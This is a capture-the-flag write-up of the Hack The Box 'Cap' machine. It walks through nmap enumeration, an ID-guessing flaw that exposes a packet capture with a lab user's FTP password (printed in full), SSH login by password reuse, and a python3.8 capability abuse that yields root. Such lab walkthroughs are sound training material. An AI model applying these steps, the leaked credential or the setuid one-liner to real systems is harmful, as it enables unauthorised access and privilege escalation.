Welcome to the Cap writeup from HTB
I hope you enjoy reading it. Any feedback will be appreciated! @x4v1l0k


Cap

tags: HTB Easy Linux
Platform: Hackthebox
Difficult: Easy
S.O.: Linux

Enumeration

Nmap

To get started, we run a quick opened ports scan.

$ nmap -Pn -p- -T4 10.10.10.245
Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-05 22:19 CEST
Nmap scan report for 10.10.10.245
Host is up (0.088s latency).
Not shown: 65532 closed ports
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 37.86 seconds

Now that we know the open ports, let's scan them in depth.

$ nmap -A -Pn -p 21,22,80 10.10.10.245
Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-05 22:20 CEST
Nmap scan report for 10.10.10.245
Host is up (0.088s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    gunicorn
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 404 NOT FOUND
|     Server: gunicorn
|     Date: Sat, 05 Jun 2021 20:25:42 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 232
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Sat, 05 Jun 2021 20:25:36 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 19386
|     <!DOCTYPE html>
|     <html class="no-js" lang="en">
|     <head>
|     <meta charset="utf-8">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title>Security Dashboard</title>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <link rel="shortcut icon" type="image/png" href="/static/images/icon/favicon.ico">
|     <link rel="stylesheet" href="/static/css/bootstrap.min.css">
|     <link rel="stylesheet" href="/static/css/font-awesome.min.css">
|     <link rel="stylesheet" href="/static/css/themify-icons.css">
|     <link rel="stylesheet" href="/static/css/metisMenu.css">
|     <link rel="stylesheet" href="/static/css/owl.carousel.min.css">
|     <link rel="stylesheet" href="/static/css/slicknav.min.css">
|     <!-- amchar
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Sat, 05 Jun 2021 20:25:36 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Allow: HEAD, GET, OPTIONS
|     Content-Length: 0
|   RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|     Content-Type: text/html
|     Content-Length: 196
|     <html>
|     <head>
|     <title>Bad Request</title>
|     </head>
|     <body>
|     <h1><p>Bad Request</p></h1>
|     Invalid HTTP Version &#x27;Invalid HTTP Version: &#x27;RTSP/1.0&#x27;&#x27;
|     </body>
|_    </html>
|_http-server-header: gunicorn
|_http-title: Security Dashboard
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.80%I=7%D=6/5%Time=60BBDCA7%P=x86_64-pc-linux-gnu%r(GetRe
SF:quest,2FE5,"HTTP/1\.0\x20200\x20OK\r\nServer:\x20gunicorn\r\nDate:\x20S
SF:at,\x2005\x20Jun\x202021\x2020:25:36\x20GMT\r\nConnection:\x20close\r\n
SF:Content-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x201938
SF:6\r\n\r\n<!DOCTYPE\x20html>\n<html\x20class=\"no-js\"\x20lang=\"en\">\n
SF:\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x20
SF:<meta\x20http-equiv=\"x-ua-compatible\"\x20content=\"ie=edge\">\n\x20\x
SF:20\x20\x20<title>Security\x20Dashboard</title>\n\x20\x20\x20\x20<meta\x
SF:20name=\"viewport\"\x20content=\"width=device-width,\x20initial-scale=1
SF:\">\n\x20\x20\x20\x20<link\x20rel=\"shortcut\x20icon\"\x20type=\"image/
SF:png\"\x20href=\"/static/images/icon/favicon\.ico\">\n\x20\x20\x20\x20<l
SF:ink\x20rel=\"stylesheet\"\x20href=\"/static/css/bootstrap\.min\.css\">\
SF:n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"/static/css/font
SF:-awesome\.min\.css\">\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20h
SF:ref=\"/static/css/themify-icons\.css\">\n\x20\x20\x20\x20<link\x20rel=\
SF:"stylesheet\"\x20href=\"/static/css/metisMenu\.css\">\n\x20\x20\x20\x20
SF:<link\x20rel=\"stylesheet\"\x20href=\"/static/css/owl\.carousel\.min\.c
SF:ss\">\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"/static/cs
SF:s/slicknav\.min\.css\">\n\x20\x20\x20\x20<!--\x20amchar")%r(HTTPOptions
SF:,B3,"HTTP/1\.0\x20200\x20OK\r\nServer:\x20gunicorn\r\nDate:\x20Sat,\x20
SF:05\x20Jun\x202021\x2020:25:36\x20GMT\r\nConnection:\x20close\r\nContent
SF:-Type:\x20text/html;\x20charset=utf-8\r\nAllow:\x20HEAD,\x20GET,\x20OPT
SF:IONS\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,121,"HTTP/1\.1\x20
SF:400\x20Bad\x20Request\r\nConnection:\x20close\r\nContent-Type:\x20text/
SF:html\r\nContent-Length:\x20196\r\n\r\n<html>\n\x20\x20<head>\n\x20\x20\
SF:x20\x20<title>Bad\x20Request</title>\n\x20\x20</head>\n\x20\x20<body>\n
SF:\x20\x20\x20\x20<h1><p>Bad\x20Request</p></h1>\n\x20\x20\x20\x20Invalid
SF:\x20HTTP\x20Version\x20&#x27;Invalid\x20HTTP\x20Version:\x20&#x27;RTSP/
SF:1\.0&#x27;&#x27;\n\x20\x20</body>\n</html>\n")%r(FourOhFourRequest,189,
SF:"HTTP/1\.0\x20404\x20NOT\x20FOUND\r\nServer:\x20gunicorn\r\nDate:\x20Sa
SF:t,\x2005\x20Jun\x202021\x2020:25:42\x20GMT\r\nConnection:\x20close\r\nC
SF:ontent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20232\r
SF:\n\r\n<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x203\.2\x20F
SF:inal//EN\">\n<title>404\x20Not\x20Found</title>\n<h1>Not\x20Found</h1>\
SF:n<p>The\x20requested\x20URL\x20was\x20not\x20found\x20on\x20the\x20serv
SF:er\.\x20If\x20you\x20entered\x20the\x20URL\x20manually\x20please\x20che
SF:ck\x20your\x20spelling\x20and\x20try\x20again\.</p>\n");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 2.6.32 (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 3.1 - 3.2 (92%), Linux 3.11 (92%), Linux 3.2 - 4.9 (92%), Linux 3.5 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT      ADDRESS
1   87.86 ms 10.10.14.1
2   88.32 ms 10.10.10.245

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 137.11 seconds

Port 80

Accessing to Security Snapshot (5 Second PCAP + Analysis) we can download a .pcap file. Looking the download url it has an integer parameter http://10.10.10.245/data/6, after trying some numbers, turns out that there is a 0 file with FTP credentials in his content.

USER nathan
331 Please specify the password.                   
PASS Buck3tH4TF0RM3!
230 Login successful. 

Exploitation

Trying the ftp credentials for the SSH service maybe we might obtain a shell.

$ ssh [email protected]
[email protected]´s password: 
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-73-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Jun  5 22:37:32 UTC 2021

  System load:           0.0
  Usage of /:            44.0% of 8.73GB
  Memory usage:          38%
  Swap usage:            0%
  Processes:             232
  Users logged in:       1
  IPv4 address for eth0: 10.10.10.245
  IPv6 address for eth0: dead:beef::250:56ff:feb9:440a

  => There are 4 zombie processes.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Sat Jun  5 21:28:23 2021 from 10.10.14.29
[email protected]:~$

And now, we can read the user flag.

[email protected]:~$ cat user.txt
CENSORED_FLAG

Post exploitation

Enumeration

Capabilities

Knowing the box name cap, let's to enumerate the capabilities.

[email protected]:/var/www/html$ getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

Privilege escalation

[email protected]:/var/www/html$ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
[email protected]:/var/www/html# id
uid=0(root) gid=1001(nathan) groups=1001(nathan)
[email protected]:/var/www/html# cat /root/root.txt 
CENSORED_FLAG